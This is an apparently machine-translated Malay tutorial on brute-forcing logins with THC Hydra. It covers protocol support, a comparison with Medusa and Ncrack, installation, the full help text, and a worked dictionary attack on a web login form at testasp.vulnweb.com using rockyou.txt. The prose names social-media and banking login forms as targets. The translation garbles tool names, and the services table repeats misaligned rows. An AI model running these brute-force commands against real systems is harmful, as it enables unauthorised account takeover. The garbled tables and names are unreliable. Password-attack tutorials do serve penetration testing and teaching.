Kata laluan secara teknikal didefinisikan sebagai rentetan watak rahsia yang digunakan untuk mengesahkan atau mendapatkan akses ke sumber. Ia mesti dirahsiakan dan disembunyikan dari orang lain yang tidak dibenarkan mengakses sumber tersebut. Kata laluan telah digunakan dengan komputer sejak awal pengkomputeran. Salah satu sistem perkongsian pertama kali, diperkenalkan pada tahun 1961. Ia mempunyai arahan masuk yang meminta kata laluan pengguna. Setelah menaip PASSWORD, sistem mematikan mekanisme pencetakan, jika mungkin, sehingga pengguna dapat memasukkan kata laluannya dengan privasi.
Kekuatan kata laluan adalah fungsi panjang, kerumitan, dan tidak dapat diramalkan. Ini mengukur keberkesanan dalam menolak meneka atau melanggarnya. Kata laluan yang lemah, sebaliknya memendekkan masa yang diperlukan untuk meneka dan mendapatkan akses ke e-mel peribadi / korporat, data sensitif seperti maklumat kewangan, maklumat perniagaan, kad kredit, dll.
Terdapat banyak cara kata laluan yang lemah sesuai dengan kekuatan kekuatan pelbagai skema serangan. Yang paling popular dari serangan kepercayaan seperti ini adalah, kekuatan kasar. ini adalah kaedah percubaan dan kesalahan seperti meneka, cubaan menyahkod data yang disulitkan seperti kata laluan atau penyulitan data yang digunakan oleh program aplikasi atau alat peretasan.
Hydra adalah cracker logon rangkaian terpantas yang menyokong banyak protokol serangan. Ia sangat pantas dan fleksibel, dan modul baru mudah ditambahkan. Alat ini memungkinkan para penyelidik dan perunding keselamatan menunjukkan betapa mudahnya mendapatkan akses tanpa izin ke sistem dari jarak jauh. Hydra ditulis oleh van Hauser dan tambahannya disokong oleh David Maciejak. Dalam perkembangan terkini pengembangan hidra dipindahkan ke repositori github awam di: https://github.com/vanhauser-thc/thc-hydra.
Hydra diuji untuk menyusun di Linux, Windows / Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX / Blackberry, dan tersedia di bawah GPLv3 dengan pengembangan lesen OpenSSL khas.
THC Hydra menyokong protokol ini: Cisco AAA, Cisco auth, Cisco enabled, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1 + v2 + v3, SOCKS5, SSH (v1 dan v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC dan XMPP.
BERBANDING HYDRA DENGAN ALAT PEMAKAIAN LAIN
Terdapat juga banyak alat cracker log masuk di samping Hydra, namun tidak ada yang menyokong senarai protokol yang besar dan sokongan cracker log masuk selari seperti yang dilakukan oleh Hydra. Jadual di bawah menunjukkan hasil perbandingan ciri, perkhidmatan dan kelajuan terhadap medusa dan ncrack.
ciri-ciri
Ciri | Hydra | ubur-ubur | Ncrack |
Lesen | AGPLv3 | GPLv2 | Syarat GPLv2 + Nmap |
Sokongan IPv6 | Ya | Tidak | Tidak |
Antara Muka Pengguna Grafik | Ya | Ya | Tidak |
Sokongan antarabangsa (RFC 4013) | Ya | Tidak | Tidak |
Sokongan proksi HTTP | Ya | Ya | Tidak |
Sokongan proksi SOCKS | Ya | Tidak | Tidak |
Protokol yang disokong | 51 | 22 | 7 |
Perkhidmatan
Perkhidmatan | Perincian | Hydra | ubur-ubur | Ncrack |
ADAM-6500 | Ya | Tidak | Tidak | |
AFP | Ya | Ya | Tidak | |
Tanda bintang | Ya | Tidak | Tidak | |
Kata Laluan Cisco | Ya | Tidak | Tidak | |
Cisco Dayakan | Ya | Tidak | Tidak | |
CVS | Ya | Ya | Tidak | |
Burung Bomba | Ya | Tidak | Tidak | |
FTP | Ya | Ya | Ya | |
Sokongan SSL | AUTH TLS & FTP melalui SSL | AUTH TLS & FTP melalui SSL | Tidak | |
HTTP | Kaedah | DAPATKAN, KEPALA, POS | DAPATKAN | DAPATKAN |
Pengarang Asas | Ya | Ya | Ya | |
Borang HTTP | Kaedah | DAPATKAN, POST | DAPATKAN, POST | Tidak |
Sokongan SSL | HTTPS | HTTPS | Tidak | |
Proksi HTTP | Pengarang Asas | Ya | Tidak | Tidak |
DIGEST-MD5 Auth | Ya | Tidak | Tidak | |
Pengarang NTLM | Ya | Tidak | Tidak | |
Sokongan SSL | HTTPS | Tidak | Tidak | |
Penghitungan URL HTTP PROXY | Ya | Tidak | Tidak | |
ICQ | v5 | Ya 1 | Tidak | Tidak |
IMAP | MASUK sokongan | Ya | Ya | Tidak |
Sokongan MASUK AUTH | Ya | Tidak | Tidak | |
Sokongan AUTH PLAIN | Ya | Ya | Tidak | |
Sokongan AUTH CRAM-MD5 | Ya | Tidak | Tidak | |
Sokongan AUTH CRAM-SHA1 | Ya | Tidak | Tidak | |
Sokongan AUTH CRAM-SHA256 | Ya | Tidak | Tidak | |
Sokongan AUTH DIGEST-MD5 | Ya | Tidak | Tidak | |
Sokongan NTLM AUTH | Ya | Ya | Tidak | |
Sokongan AUTH SCRAM-SHA1 | Ya | Tidak | Tidak | |
Sokongan SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | Tidak | |
IRC | Kata laluan pelayan umum | Ya | Tidak | Tidak |
Kata laluan mod OPER | Ya | Tidak | Tidak | |
LDAP | v2, Sokongan sederhana | Ya | Tidak | Tidak |
v3, Sokongan sederhana | Ya | Tidak | Tidak | |
v3, sokongan AUTH CRAM-MD5 | Ya | Tidak | Tidak | |
Sokongan AUTH DIGEST-MD5 | Ya | |||
Sokongan NTLM AUTH | Ya | Ya | ||
Sokongan AUTH SCRAM-SHA1 | Ya | |||
Sokongan SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | ||
IRC | Kata laluan pelayan umum | Ya | ||
Kata laluan mod OPER | Ya | |||
LDAP | v2, Sokongan sederhana | Ya | ||
v3, Sokongan sederhana | Ya | |||
v3, sokongan AUTH CRAM-MD5 | Ya | |||
v3, sokongan AUTH DIGEST-MD5 | Ya | |||
MS-SQL | Ya | Ya | ||
MySQL | v3.x | Ya | Ya | |
v4.x | Ya | Ya | ||
v5.x | Ya | Ya | ||
NCP | Ya | Ya | ||
NNTP | Sokongan PENGGUNA | Ya | Ya | |
Sokongan MASUK AUTH | Ya | |||
Sokongan AUTH PLAIN | Ya | |||
Sokongan AUTH CRAM-MD5 | Ya | |||
Sokongan AUTH DIGEST-MD5 | Ya | |||
Sokongan NTLM AUTH | Ya | |||
Sokongan SSL | STARTTLS & NNTP melalui SSL | |||
Oracle | Pangkalan data | Ya | Ya | |
Pendengar TNS | Ya | |||
Penghitungan SID | Ya | |||
PC-NFS | Ya | |||
pcAnywhere | Pengesahan Asli | Ya | Ya | |
Pengesahan Berasaskan OS (MS) | Ya | |||
POP3 | Sokongan PENGGUNA | Ya | Ya | Ya |
Sokongan APOP | Ya | |||
Sokongan MASUK AUTH | Ya | Ya | ||
Sokongan AUTH PLAIN | Ya | Ya | ||
Sokongan AUTH CRAM-MD5 | Ya | |||
Sokongan AUTH CRAM-SHA1 | Ya | |||
Sokongan AUTH CRAM-SHA256 | Ya | |||
Sokongan AUTH DIGEST-MD5 | Ya | |||
Sokongan NTLM AUTH | Ya | Ya | ||
Sokongan SSL | POP3S & STARTTLS | POP3S & STARTTLS | POP3S | |
PostgreSQL | Ya | Ya | ||
Tanda bintang | Ya | |||
RDP | Stesen Kerja Windows | Ya | Ya | Ya |
Pelayan Windows | Ya | Ya | ||
Domain Auth | Ya | Ya | ||
REDIS | Ya | Tidak | ||
REXEC | Ya | Ya | ||
MASUKKAN | Ya | Ya | ||
RPCAP | Ya | Tidak | ||
RSH | Ya | Ya | ||
RTSP | Ya | Tidak | ||
SAP R / 3 | Ya | |||
Siemens S7-300 | Ya | |||
SIP | Ya | |||
Sokongan SSL | SIP melalui SSL | |||
SMB | Mod NetBIOS | Ya | Ya | Tidak |
Mod Asli W2K | Ya | Ya | Ya | |
Mod Hash | Ya | Ya | Tidak | |
Kosongkan Pengesahan Teks | Ya | Ya | ||
Pengesahan LMv1 | Ya | Ya | Ya | |
Pengesahan LMv2 | Ya | Ya | Ya | |
Pengarang NTLMv1 | Ya | Ya | Ya | |
Pengesahan NTLMv2 | Ya | Ya | Ya | |
SMTP | Sokongan MASUK AUTH | Ya | Ya | |
Sokongan AUTH PLAIN | Ya | Ya | ||
Sokongan AUTH CRAM-MD5 | Ya | |||
Sokongan AUTH DIGEST-MD5 | Ya | |||
Sokongan NTLM AUTH | Ya | Ya | ||
Sokongan SSL | SMTPS & MULAI | SMTPS & MULAI | ||
Enum Pengguna SMTP | VRFY cmd | Ya | Ya | |
EXPN cmd | Ya | Ya | ||
RCPT HINGGA cmd | Ya | Ya | ||
SNMP | v1 | Ya | Ya | |
v2c | Ya | Ya | ||
v3 | (Pengesahan MD5 / SHA1 sahaja) | |||
SOCKS | v5, Kata Laluan Auth | Ya | ||
SSH | v1 | Ya | ||
v2 | Ya | Ya | Ya | |
Kekunci SSH | v1, v2 | Ya | ||
Penukaran (SVN) | Ya | Ya | ||
Ucapan Pasukan | TS2 | Ya | ||
Telnet | Ya | Ya | Ya | |
XMPP | Sokongan MASUK AUTH | Ya | ||
Sokongan AUTH PLAIN | Ya | |||
Sokongan AUTH CRAM-MD5 | Ya | |||
Sokongan AUTH DIGEST-MD5 | Ya | |||
Sokongan AUTH SCRAM-SHA1 | Ya | |||
VMware Auth Daemon | v1.00 / v1.10 | Ya | Ya | |
Sokongan SSL | Ya | Ya | ||
VNC | Sokongan kata laluan RFB 3.x | Ya | Ya | |
Sokongan pengguna + kata laluan RFB 3.x | (UltraVNC sahaja) | |||
Sokongan kata laluan RFB 4.x | Ya | Ya | ||
Sokongan pengguna + kata laluan RFB 4.x | (UltraVNC sahaja) |
Perbandingan Kelajuan
Kelajuan | Hydra | ubur-ubur | Ncrack |
1 modul Task / FTP | 11.93 | 12.97 | 18.01 |
4 Tugas / modul FTP | 4.20 | 5.24 | 9.01 |
16 Tugas / modul FTP | 2.44 | 2.71 | 12.01 |
1 modul Task / SSH v2 | 32.56 | 33.84 | 45.02 |
4 Tugas / modul SSH v2 | 10.95 | Patah | Terlepas |
16 Tugas / modul SSH v2 | 5.14 | Patah | Terlepas |
Itu adalah pengenalan ringkas mengenai hidra. Sekarang mari kita beralih ke pemasangan.
MEMASANG HYDRA
Hydra sudah terpasang pada kali linux, namun jika anda mempunyai sistem operasi yang berbeza, anda boleh menyusun dan memasangnya pada sistem anda. Pada masa ini, sokongan hidra pada platform yang berbeza:
- Semua platform UNIX (Linux, * bsd, Solaris, dll.)
- MacOS (pada dasarnya klon BSD)
- Windows dengan Cygwin (kedua-dua IPv4 dan IPv6)
- Sistem mudah alih berdasarkan Linux, MacOS atau QNX (mis. Android, iPhone, Blackberry 10, Zaurus, iPaq)
Untuk memuat turun, mengkonfigurasi, menyusun dan memasang hidra, hanya ketik terminal:
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
Sekiranya anda mempunyai Ubuntu / Debian, anda memerlukan beberapa perpustakaan ketergantungan:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
Sekiranya anda tidak dapat menemui perpustakaan tersebut di repositori anda, anda perlu memuat turun dan memasangnya secara manual.
CARA PENGGUNAAN HYDRA
Tahniah, sekarang anda telah berjaya memasang hidra pada sistem anda. Sebenarnya, Hydra hadir dengan dua rasa, GUI-gtk dan versi CLI kegemaran saya. dan sebagai tambahan hidra juga mempunyai versi berpandu CLI, yang disebut hidra-penyihir. Anda akan dipandu langkah demi langkah dan bukannya mengetik semua arahan atau argumen secara manual ke terminal. Untuk menjalankan hidra, dari jenis terminal anda:
Untuk CLI:
hydra
Untuk CLI-wizard:
hydra-wizard
Untuk GUI:
xhydra
Selepas anda menaip 'hidra', ia akan memaparkan perintah bantuan seperti ini:
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
Log masuk berasaskan web Bruteforce dengan hydra
Hydra menyokong beberapa perkhidmatan bruteforcing seperti yang saya sebutkan sebelumnya, salah satunya digunakan untuk bruteforce login berdasarkan web seperti, form login media sosial, form login perbankan pengguna, login berasaskan web router anda, dan lain-lain. Itu http-s -get-form yang akan menangani permintaan ini. Dalam tutorial ini, saya akan menunjukkan kepada anda cara membuat log masuk web yang rentan. Sebelum kita menghidupkan hidra, kita harus mengetahui beberapa hujah yang diperlukan seperti di bawah:
- Sasaran : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- Nama pengguna log masuk : pentadbir (jika anda tidak pasti, bruteforce ini)
- Senarai kata laluan : Lokasi senarai fail kamus yang mengandungi kata laluan yang mungkin.
- Parameter bentuk : untuk umum, gunakan data pengacau atau proksi untuk mendapatkan bentuk parameter permintaan. Tetapi di sini saya menggunakan iceweasel, berasaskan Firefox, bar alat pembangun rangkaian.
- Modul perkhidmatan : http-post-form
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
Mendapatkan parameter pos menggunakan penyemak imbas, iceweasel / firefox
Dalam penyemak imbas firefox anda tekan kekunci ' CTRL + SHIFT + Q '. Kemudian buka halaman log masuk webhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, anda akan melihat beberapa teks muncul di tab pembangun rangkaian. Ia memberitahu anda fail apa yang dipindahkan kepada kami. Lihat kaedah semuanya GET, kerana kami belum POST data apa pun.
Untuk mendapatkan parameter pasca borang, taipkan apa sahaja dalam nama pengguna dan atau kata laluan. Anda akan melihat kaedah POST baru pada tab pembangun rangkaian. Klik dua kali pada baris itu, pada tab Header klik butang Edit dan Hantar semula di sebelah kanan. Pada Badan Permintaan salin baris terakhir, seperti tfUName = asu & tfUPass = raimu . yang tfUName dan tfUPass adalah parameter yang kita perlukan. Seperti yang dilihat di bawah:
Kali linux mempunyai banyak senarai perkataan, pilih senarai perkataan yang sesuai atau hanya menggunakan tempat rockyou.txt di / usr / share / senarai perkataan / seperti yang dilihat di bawah:
Baiklah, sekarang kami mendapat semua hujah yang kami perlukan dan bersedia untuk menghidupkan hidra. Berikut adalah corak arahan:
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
Mari kita pecahkan arahan:
- yang : adalah kata yang mengandungi nama pengguna, gunakan -L untuk merujuk senarai kemungkinan nama pengguna dalam fail.
- P : adalah senarai fail kata laluan yang mungkin, gunakan -p untuk benar-benar menggunakan kata laluan satu kata dan bukannya meneka.
- testapp.vunlwebapp.com : adalah nama hos atau sasaran
- http-borang-pasca : adalah modul perkhidmatan yang kita gunakan
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = 3 parameter yang diperlukan, sintaksnya adalah:
{halaman URL}: {Minta parameter bentuk isi pos}: S = {Cari apa sahaja di halaman setelah berjaya log masuk} - v = Mod kata kerja
- V = tunjukkan log masuk: lulus untuk setiap percubaan
- f = Tamatkan program jika log masuk pasangan: kata laluan dijumpai
Sekarang mari hidra cuba memecahkan kata laluan untuk kita, ia memerlukan masa kerana ia adalah serangan kamus. Sebaik sahaja anda berjaya mencari sepasang log masuk: kata sandi hidra akan segera menghentikan pekerjaan dan menunjukkan bukti kelayakan yang sah.
Ada banyak yang dapat dilakukan oleh Hydra, kerana dalam tutorial ini kita baru belajar bagaimana bruteforce logon berasaskan web menggunakan hydra, kita hanya belajar satu protokol, iaitu protokol http-post-form. Kami juga dapat menggunakan hidra terhadap protokol lain seperti ssh, ftp, telnet, VNC, proksi, dll.